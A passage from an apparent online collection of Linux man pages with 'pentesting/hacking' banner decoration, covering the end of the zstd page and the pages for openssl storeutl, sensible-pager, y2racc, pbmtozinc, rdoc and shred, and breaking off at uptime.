  • –format=FORMAT: compress and decompress in other formats. If compiled with support, zstd can compress to or decompress from other compression algorithm formats. Possibly available options are zstd, gzip, xz, lzma, and lz4. If no such format is provided, zstd is the default.

  • -h/-H, –help: display help/long help and exit

  • -V, –version: display version number and immediately exit. note that, since it exits, flags specified after -V are effectively ignored. Advanced: -vV also displays supported formats. -vvV also displays POSIX support. -qV will only display the version number, suitable for machine reading.

  • -v, –verbose: verbose mode, display more information

  • -q, –quiet: suppress warnings, interactivity, and notifications. specify twice to suppress errors too.

  • –no-progress: do not display the progress bar, but keep all other messages.

  • –show-default-cparams: shows the default compression parameters that will be used for a particular input file, based on the provided compression level and the input size. If the provided file is not a regular file (e.g. a pipe), this flag will output the parameters used for inputs of unknown size.

  • –exclude-compressed: only compress files that are not already compressed.

  • : All arguments after are treated as files

gzip Operation Modifiers

When invoked via a gzip symlink, zstd will support further options that intend to mimic the gzip behavior:

-n, –no-name
do not store the original filename and timestamps when compressing a file. This is the default behavior and hence a no-op.

–best
alias to the option -9.

Environment Variables

Employing environment variables to set parameters has security implications. Therefore, this avenue is intentionally limited. Only ZSTD_CLEVEL and ZSTD_NBTHREADS are currently supported. They set the default compression level and number of threads to use during compression, respectively.

ZSTD_CLEVEL can be used to set the level between 1 and 19 (the “normal” range). If the value of ZSTD_CLEVEL is not a valid integer, it will be ignored with a warning message. ZSTD_CLEVEL just replaces the default compression level (3).

ZSTD_NBTHREADS can be used to set the number of threads zstd will attempt to use during compression. If the value of ZSTD_NBTHREADS is not a valid unsigned integer, it will be ignored with a warning message. ZSTD_NBTHREADS has a default value of (1), and is capped at ZSTDMT_NBWORKERS_MAX==200. zstd must be compiled with multithread support for this variable to have any effect.

They can both be overridden by corresponding command line arguments: -# for compression level and -T# for number of compression threads.

ADVANCED COMPRESSION OPTIONS

zstd provides 22 predefined regular compression levels plus the fast levels. A compression level is translated internally into multiple advanced parameters that control the behavior of the compressor (one can observe the result of this translation with –show-default-cparams). These advanced parameters can be overridden using advanced compression options.

–zstd[=options]:

The options are provided as a comma-separated list. You may specify only the options you want to change and the rest will be taken from the selected or default compression level. The list of available options:

strategy=strat, strat=strat
Specify a strategy used by a match finder.

There are 9 strategies numbered from 1 to 9, from fastest to strongest: 1=ZSTD_fast, 2=ZSTD_dfast, 3=ZSTD_greedy, 4=ZSTD_lazy, 5=ZSTD_lazy2, 6=ZSTD_btlazy2, 7=ZSTD_btopt, 8=ZSTD_btultra, 9=ZSTD_btultra2.

windowLog=wlog, wlog=wlog
Specify the maximum number of bits for a match distance.

The higher number of increases the chance to find a match which usually improves compression ratio. It also increases memory requirements for the compressor and decompressor. The minimum wlog is 10 (1 KiB) and the maximum is 30 (1 GiB) on 32-bit platforms and 31 (2 GiB) on 64-bit platforms.

Note: If windowLog is set to larger than 27, –long=windowLog or –memory=windowSize needs to be passed to the decompressor.

hashLog=hlog, hlog=hlog
Specify the maximum number of bits for a hash table.

Bigger hash tables cause fewer collisions which usually makes compression faster, but requires more memory during compression.

The minimum hlog is 6 (64 entries / 256 B) and the maximum is 30 (1B entries / 4 GiB).

chainLog=clog, clog=clog
Specify the maximum number of bits for the secondary search structure, whose form depends on the selected strategy.

Higher numbers of bits increases the chance to find a match which usually improves compression ratio. It also slows down compression speed and increases memory requirements for compression. This option is ignored for the ZSTD_fast strategy, which only has the primary hash table.

The minimum clog is 6 (64 entries / 256 B) and the maximum is 29 (512M entries / 2 GiB) on 32-bit platforms and 30 (1B entries / 4 GiB) on 64-bit platforms.

searchLog=slog, slog=slog
Specify the maximum number of searches in a hash chain or a binary tree using logarithmic scale.

More searches increases the chance to find a match which usually increases compression ratio but decreases compression speed.

The minimum slog is 1 and the maximum is ‘windowLog’ - 1.

minMatch=mml, mml=mml
Specify the minimum searched length of a match in a hash table.

Larger search lengths usually decrease compression ratio but improve decompression speed.

The minimum mml is 3 and the maximum is 7.

targetLength=tlen, tlen=tlen
The impact of this field vary depending on selected strategy.

For ZSTD_btopt, ZSTD_btultra and ZSTD_btultra2, it specifies the minimum match length that causes match finder to stop searching. A larger targetLength usually improves compression ratio but decreases compression speed.

For ZSTD_fast, it triggers ultra-fast mode when > 0. The value represents the amount of data skipped between match sampling. Impact is reversed: a larger targetLength increases compression speed but decreases compression ratio.

For all other strategies, this field has no impact.

The minimum tlen is 0 and the maximum is 128 KiB.

overlapLog=ovlog, ovlog=ovlog
Determine overlapSize, amount of data reloaded from previous job. This parameter is only available when multithreading is enabled. Reloading more data improves compression ratio, but decreases speed.

The minimum ovlog is 0, and the maximum is 9. 1 means “no overlap”, hence completely independent jobs. 9 means “full overlap”, meaning up to windowSize is reloaded from previous job. Reducing ovlog by 1 reduces the reloaded amount by a factor 2. For example, 8 means “windowSize/2”, and 6 means “windowSize/8”. Value 0 is special and means “default”: ovlog is automatically determined by zstd. In which case, ovlog will range from 6 to 9, depending on selected strat.

ldmHashLog=lhlog, lhlog=lhlog
Specify the maximum size for a hash table used for long distance matching.

This option is ignored unless long distance matching is enabled.

Bigger hash tables usually improve compression ratio at the expense of more memory during compression and a decrease in compression speed.

The minimum lhlog is 6 and the maximum is 30 (default: 20).

ldmMinMatch=lmml, lmml=lmml
Specify the minimum searched length of a match for long distance matching.

This option is ignored unless long distance matching is enabled.

Larger/very small values usually decrease compression ratio.

The minimum lmml is 4 and the maximum is 4096 (default: 64).

ldmBucketSizeLog=lblog, lblog=lblog
Specify the size of each bucket for the hash table used for long distance matching.

This option is ignored unless long distance matching is enabled.

Larger bucket sizes improve collision resolution but decrease compression speed.

The minimum lblog is 1 and the maximum is 8 (default: 3).

ldmHashRateLog=lhrlog, lhrlog=lhrlog
Specify the frequency of inserting entries into the long distance matching hash table.

This option is ignored unless long distance matching is enabled.

Larger values will improve compression speed. Deviating far from the default value will likely result in a decrease in compression ratio.

The default value is wlog - lhlog.

Example

The following parameters sets advanced compression options to something similar to predefined level 19 for files bigger than 256 KB:

–zstd=wlog=23,clog=23,hlog=22,slog=6,mml=3,tlen=48,strat=6

-B#:

Specify the size of each compression job. This parameter is only available when multi-threading is enabled. Each compression job is run in parallel, so this value indirectly impacts the nb of active threads. Default job size varies depending on compression level (generally 4 * windowSize). -B# makes it possible to manually select a custom size. Note that job size must respect a minimum value which is enforced transparently. This minimum is either 512 KB, or overlapSize, whichever is largest. Different job sizes will lead to non-identical compressed frames.

DICTIONARY BUILDER

zstd offers dictionary compression, which greatly improves efficiency on small files and messages. It’s possible to train zstd with a set of samples, the result of which is saved into a file called a dictionary. Then, during compression and decompression, reference the same dictionary, using command -D dictionaryFileName. Compression of small files similar to the sample set will be greatly improved.

–train FILEs
Use FILEs as training set to create a dictionary. The training set should ideally contain a lot of samples (> 100), and weight typically 100x the target dictionary size (for example, ~10 MB for a 100 KB dictionary). –train can be combined with -r to indicate a directory rather than listing all the files, which can be useful to circumvent shell expansion limits.

Since dictionary compression is mostly effective for small files, the expectation is that the training set will only contain small files. In the case where some samples happen to be large, only the first 128 KiB of these samples will be used for training.

–train supports multithreading if zstd is compiled with threading support (default). Additional advanced parameters can be specified with –train-fastcover. The legacy dictionary builder can be accessed with –train-legacy. The slower cover dictionary builder can be accessed with –train-cover. Default –train is equivalent to –train-fastcover=d=8,steps=4.

-o FILE
Dictionary saved into FILE (default name: dictionary).

–maxdict=#
Limit dictionary to specified size (default: 112640 bytes). As usual, quantities are expressed in bytes by default, and it’s possible to employ suffixes (like KB or MB) to specify larger values.

-#
Use # compression level during training (optional). Will generate statistics more tuned for selected compression level, resulting in a small compression ratio improvement for this level.

-B#
Split input files into blocks of size # (default: no split)

-M#, –memory=#
Limit the amount of sample data loaded for training (default: 2 GB). Note that the default (2 GB) is also the maximum. This parameter can be useful in situations where the training set size is not well controlled and could be potentially very large. Since speed of the training process is directly correlated to the size of the training sample set, a smaller sample set leads to faster training.

In situations where the training set is larger than maximum memory, the CLI will randomly select samples among the available ones, up to the maximum allowed memory budget. This is meant to improve dictionary relevance by mitigating the potential impact of clustering, such as selecting only files from the beginning of a list sorted by modification date, or sorted by alphabetical order. The randomization process is deterministic, so training of the same list of files with the same parameters will lead to the creation of the same dictionary.

–dictID=#
A dictionary ID is a locally unique ID. The decoder will use this value to verify it is using the right dictionary. By default, zstd will create a 4-bytes random number ID. It’s possible to provide an explicit number ID instead. It’s up to the dictionary manager to not assign twice the same ID to 2 different dictionaries. Note that short numbers have an advantage: an ID < 256 will only need 1 byte in the compressed frame header, and an ID < 65536 will only need 2 bytes. This compares favorably to 4 bytes default.

Note that RFC8878 reserves IDs less than 32768 and greater than or equal to 2^31, so they should not be used in public.

–train-cover[=k#,d=#,steps=#,split=#,shrink[=#]]
Select parameters for the default dictionary builder algorithm named cover. If d is not specified, then it tries d = 6 and d = 8. If k is not specified, then it tries steps values in the range [50, 2000]. If steps is not specified, then the default value of 40 is used. If split is not specified or split <= 0, then the default value of 100 is used. Requires that d <= k. If shrink flag is not used, then the default value for shrinkDict of 0 is used. If shrink is not specified, then the default value for shrinkDictMaxRegression of 1 is used.

Selects segments of size k with highest score to put in the dictionary. The score of a segment is computed by the sum of the frequencies of all the subsegments of size d. Generally d should be in the range [6, 8], occasionally up to 16, but the algorithm will run faster with d <= 8. Good values for k vary widely based on the input data, but a safe range is [2 * d, 2000]. If split is 100, all input samples are used for both training and testing to find optimal d and k to build dictionary. Supports multithreading if zstd is compiled with threading support. Having shrink enabled takes a truncated dictionary of minimum size and doubles in size until compression ratio of the truncated dictionary is at most shrinkDictMaxRegression% worse than the compression ratio of the largest dictionary.

Examples:

zstd –train-cover FILEs

zstd –train-cover=k=50,d=8 FILEs

zstd –train-cover=d=8,steps=500 FILEs

zstd –train-cover=k=50 FILEs

zstd –train-cover=k=50,split=60 FILEs

zstd –train-cover=shrink FILEs

zstd –train-cover=shrink=2 FILEs

–train-fastcover[=k#,d=#,f=#,steps=#,split=#,accel=#]
Same as cover but with extra parameters f and accel and different default value of split If split is not specified, then it tries split = 75. If f is not specified, then it tries f = 20. Requires that 0 < f < 32. If accel is not specified, then it tries accel = 1. Requires that 0 < accel <= 10. Requires that d = 6 or d = 8.

f is log of size of array that keeps track of frequency of subsegments of size d. The subsegment is hashed to an index in the range [0,2^f - 1]. It is possible that 2 different subsegments are hashed to the same index, and they are considered as the same subsegment when computing frequency. Using a higher f reduces collision but takes longer.

Examples:

zstd –train-fastcover FILEs

zstd –train-fastcover=d=8,f=15,accel=2 FILEs

–train-legacy[=selectivity=#]
Use legacy dictionary builder algorithm with the given dictionary selectivity (default: 9). The smaller the selectivity value, the denser the dictionary, improving its efficiency but reducing its achievable maximum size. –train-legacy=s=# is also accepted.

Examples:

zstd –train-legacy FILEs

zstd –train-legacy=selectivity=8 FILEs

BENCHMARK

The zstd CLI provides a benchmarking mode that can be used to easily find suitable compression parameters, or alternatively to benchmark a computer’s performance. Note that the results are highly dependent on the content being compressed.

-b#
benchmark file(s) using compression level #

-e#
benchmark file(s) using multiple compression levels, from -b# to -e# (inclusive)

-d
benchmark decompression speed only (requires providing an already zstd-compressed content)

-i#
minimum evaluation time, in seconds (default: 3s), benchmark mode only

-B#, –block-size=#
cut file(s) into independent chunks of size # (default: no chunking)

–priority=rt
set process priority to real-time (Windows)

Output Format: CompressionLevel#Filename: InputSize -> OutputSize (CompressionRatio), CompressionSpeed, DecompressionSpeed

Methodology: For both compression and decompression speed, the entire input is compressed/decompressed in-memory to measure speed. A run lasts at least 1 sec, so when files are small, they are compressed/decompressed several times per run, in order to improve measurement accuracy.

SEE ALSO

zstdgrep(1), zstdless(1), gzip(1), xz(1)

The zstandard format is specified in Y. Collet, “Zstandard Compression and the ‘application/zstd’ Media Type”, https://www.ietf.org/rfc/rfc8878.txt, Internet RFC 8878 (February 2021).

BUGS

Report bugs at: https://github.com/facebook/zstd/issues

AUTHOR

Yann Collet

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

857 - Linux cli command openssl-storeutlssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-storeutlssl and provides detailed information about the command openssl-storeutlssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-storeutlssl.

NAME 🖥️ openssl-storeutlssl 🖥️

storeutl - STORE command

SYNOPSIS

openssl storeutl [-help] [-out file] [-noout] [-passin arg] [-text arg] [-r] [-certs] [-keys] [-crls] [-subject arg] [-issuer arg] [-serial arg] [-alias arg] [-fingerprint arg] [-digest] [-engine id] [-provider name] [-provider-path path] [-propquery propq] uri

DESCRIPTION

This command can be used to display the contents (after decryption as the case may be) fetched from the given URI.

OPTIONS

-help
Print out a usage message.

-out filename
specifies the output filename to write to or standard output by default.

-noout
this option prevents output of the PEM data.

-passin arg
the key password source. For more information about the format of arg see openssl-passphrase-options (1).

-text
Prints out the objects in text form, similarly to the -text output from openssl-x509 (1), openssl-pkey (1), etc.

-r
Fetch objects recursively when possible.

-certs

-keys

-crls

Only select the certificates, keys or CRLs from the given URI. However, if this URI would return a set of names (URIs), those are always returned. Note that all options must be given before the uri argument. Note -keys selects exclusively private keys, there is no selector for public keys only.

-subject arg
Search for an object having the subject name arg. The arg must be formatted as /type0=value0/type1=value1/type2=.... Special characters may be escaped by \ (backslash), whitespace is retained. Empty values are permitted but are ignored for the search. That is, a search with an empty value will have the same effect as not specifying the type at all. Giving a single / will lead to an empty sequence of RDNs (a NULL-DN). Multi-valued RDNs can be formed by placing a + character instead of a / between the AttributeValueAssertions (AVAs) that specify the members of the set. Example: /DC=org/DC=OpenSSL/DC=users/UID=123456+CN=John Doe

-issuer arg

-serial arg

Search for an object having the given issuer name and serial number. These two options must be used together. The issuer arg must be formatted as /type0=value0/type1=value1/type2=..., characters may be escaped by \ (backslash), no spaces are skipped. The serial arg may be specified as a decimal value or a hex value if preceded by 0x.

-alias arg
Search for an object having the given alias.

-fingerprint arg
Search for an object having the given fingerprint.

-digest
The digest that was used to compute the fingerprint given with -fingerprint.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

SEE ALSO

openssl (1)

HISTORY

This command was added in OpenSSL 1.1.1.

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2016-2024 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

858 - Linux cli command sensible-pager

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sensible-pager and provides detailed information about the command sensible-pager, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sensible-pager.

NAME 🖥️ sensible-pager 🖥️

pager - sensible paging

SYNOPSIS

sensible-pager [OPTIONS…]

DESCRIPTION

sensible-pager makes sensible decisions on which pager to call. Programs in Debian can use this script as their default pager, or emulate their behavior.

SEE ALSO

Documentation of the PAGER variable in environ(7)

STANDARD

Documentation of behavior of sensible-utils under a debian system is available under section 11.4 of debian-policy usually installed under /usr/share/doc/debian-policy (you might need to install debian-policy)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

859 - Linux cli command y2racc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command y2racc and provides detailed information about the command y2racc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the y2racc.

NAME 🖥️ y2racc 🖥️

Yacc grammar to racc grammar

SYNOPSIS

y2racc [options] raccfile

DESCRIPTION

Y2racc converts yacc grammar to racc grammar.

OPTIONS

-o, –output-file <outfile> name of output file. [r.<inputfile>]

-c <name> name of parser class. [MyParser]

-u output also user code (%%….)

-H cut off header (%{….%})

-A cut off actions.

-U cut off user code (%%….) (default)

-h, –help print this message and quit.

–version print version and quit.

–copyright print copyright and quit.

SEE ALSO

/usr/share/doc/racc/html.en/index.html (English) or /usr/share/doc/racc/html.ja/index.html (Japanese).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

860 - Linux cli command pbmtozinc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtozinc and provides detailed information about the command pbmtozinc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtozinc.

.

NAME 🖥️ pbmtozinc 🖥️

convert a PBM image into a Zinc bitmap

SYNOPSIS

pbmtozinc

[pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtozinc reads a PBM image as input and produces a bitmap in the format used by the Zinc Interface Library (ZIL) Version 1.0 as output.

OPTIONS

There are no command line options defined specifically for pbmtozinc, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbm(1)

AUTHOR

Copyright (C) 1988 by James Darrell McCauley ([email protected]) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtozinc.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

861 - Linux cli command rdoc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rdoc and provides detailed information about the command rdoc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rdoc.

NAME 🖥️ rdoc 🖥️

Generate documentation from Ruby script files

SYNOPSIS

rdoc3.1 [options] [names…]

DESCRIPTION

Files are parsed, and the information they contain collected, before any output is produced. This allows cross references between all files to be resolved. If a name is a directory, it is traversed. If no names are specified, all Ruby files in the current directory (and subdirectories) are processed.

Available output formatters: chm, html, ri, xml

For information on where the output goes, use:

    rdoc --help-output

OPTIONS

–accessor, -A accessorname[,..] comma separated list of additional class methods that should be treated like ‘attr_reader’ and friends. Option may be repeated. Each accessorname may have ‘=text’ appended, in which case that text appears where the r/w/rw appears for normal accessors.

–all, -a include all methods (not just public) in the output.

–charset, -c charset specifies HTML character-set

–debug, -D displays lots on internal stuff

–diagram, -d generate diagrams showing modules and classes. You need dot V1.8.6 or later to use the –diagram option correctly. Dot is available from <URL:http://www.research.att.com/sw/tools/graphviz/>.

–exclude, -x pattern do not process files or directories matching pattern. Files given explicitly on the command line will never be excluded.

–extension, -E new = old treat files ending with .new as if they ended with .old. Using ‘-E cgi=rb’ will cause xxx.cgi to be parsed as a Ruby file

–fileboxes, -F classes are put in boxes which represents files, where these classes reside. Classes shared between more than one file are shown with list of files that sharing them. Silently discarded if –diagram is not given Experimental.

–fmt, -f formatname set the output formatter (see below).

–help, -h print usage.

–help-output, -O explain the various output options.

–image-format, -I gif|png|jpg|jpeg sets output image format for diagrams. Can be png, gif, jpeg, jpg. If this option is omitted, png is used. Requires –diagram.

–include, -i dir[,dir…] set (or add to) the list of directories to be searched when satisfying :include: requests. Can be used more than once.

–inline-source, -S show method source code inline, rather than via a popup link.

–line-numbers, -N include line numbers in the source code

–main, -m name name will be the initial page displayed.

–merge, -M when creating ri output, merge processed classes into previously documented classes of the name name.

–one-file, -1 put all the output into a single file.

–op, -o dir set the output directory.

–opname, -n name set the name of the output. Has no effect for HTML.

–promiscuous, -p When documenting a file that contains a module or class also defined in other files, show all stuff for that module/class in each files page. By default, only show stuff defined in that particular file.

–quiet, -q don’t show progress as we parse.

–ri, -r generate output for use by ‘ri.’ The files are stored in the ‘.rdoc’ directory under your home directory unless overridden by a subsequent –op parameter, so no special privileges are needed.

–ri-site, -R generate output for use by ‘ri.’ The files are stored in a site-wide directory, making them accessible to others, so special privileges are needed.

–ri-system, -Y generate output for use by ‘ri.’ The files are stored in a system-level directory, making them accessible to others, so special privileges are needed. This option is intended to be used during Ruby installations.

–show-hash, -H a name of the form #name in a comment is a possible hyperlink to an instance method name. When displayed, the ‘#’ is removed unless this option is specified.

–style, -s stylesheet-url specifies the URL of a separate stylesheet.

–tab-width, -w n set the width of tab characters (default 8).

–template, -T template-name set the template used when generating output.

–title, -t text set text as the title for the output.

–version, -v display RDoc’s version.

–webcvs, -W url specify a URL for linking to a web frontend to CVS. If the URL contains a contain a ‘%s’, the filename will be appended to it.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

862 - Linux cli command shred

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command shred and provides detailed information about the command shred, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the shred.

NAME 🖥️ shred 🖥️

overwrite a file to hide its contents, and optionally delete it

SYNOPSIS

shred [OPTION]… FILE

DESCRIPTION

Overwrite the specified FILE(s) repeatedly, in order to make it harder for even very expensive hardware probing to recover the data.

If FILE is -, shred standard output.

Mandatory arguments to long options are mandatory for short options too.

-f, –force
change permissions to allow writing if necessary

-n, –iterations=N
overwrite N times instead of the default (3)

–random-source=FILE
get random bytes from FILE

-s, –size=N
shred this many bytes (suffixes like K, M, G accepted)

-u
deallocate and remove file after overwriting

–remove[=HOW]
like -u but give control on HOW to delete; See below

-v, –verbose
show progress

-x, –exact
do not round file sizes up to the next full block;

this is the default for non-regular files

-z, –zero
add a final overwrite with zeros to hide shredding

–help
display this help and exit

–version
output version information and exit

Delete FILE(s) if –remove (-u) is specified. The default is not to remove the files because it is common to operate on device files like /dev/hda, and those files usually should not be removed. The optional HOW parameter indicates how to remove a directory entry: ‘unlink’ => use a standard unlink call. ‘wipe’ => also first obfuscate bytes in the name. ‘wipesync’ => also sync each obfuscated byte to the device. The default mode is ‘wipesync’, but note it can be expensive.

CAUTION: shred assumes the file system and hardware overwrite data in place. Although this is common, many platforms operate otherwise. Also, backups and mirrors may contain unremovable copies that will let a shredded file be recovered later. See the GNU coreutils manual for details.

AUTHOR

Written by Colin Plumb.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/shred>
or available locally via: info ‘(coreutils) shred invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

863 - Linux cli command uptime

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command uptime and provides detailed information about the command uptime, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the uptime.

NAME 🖥️ uptime 🖥️

Tell how long the system has been running.

SYNOPSIS

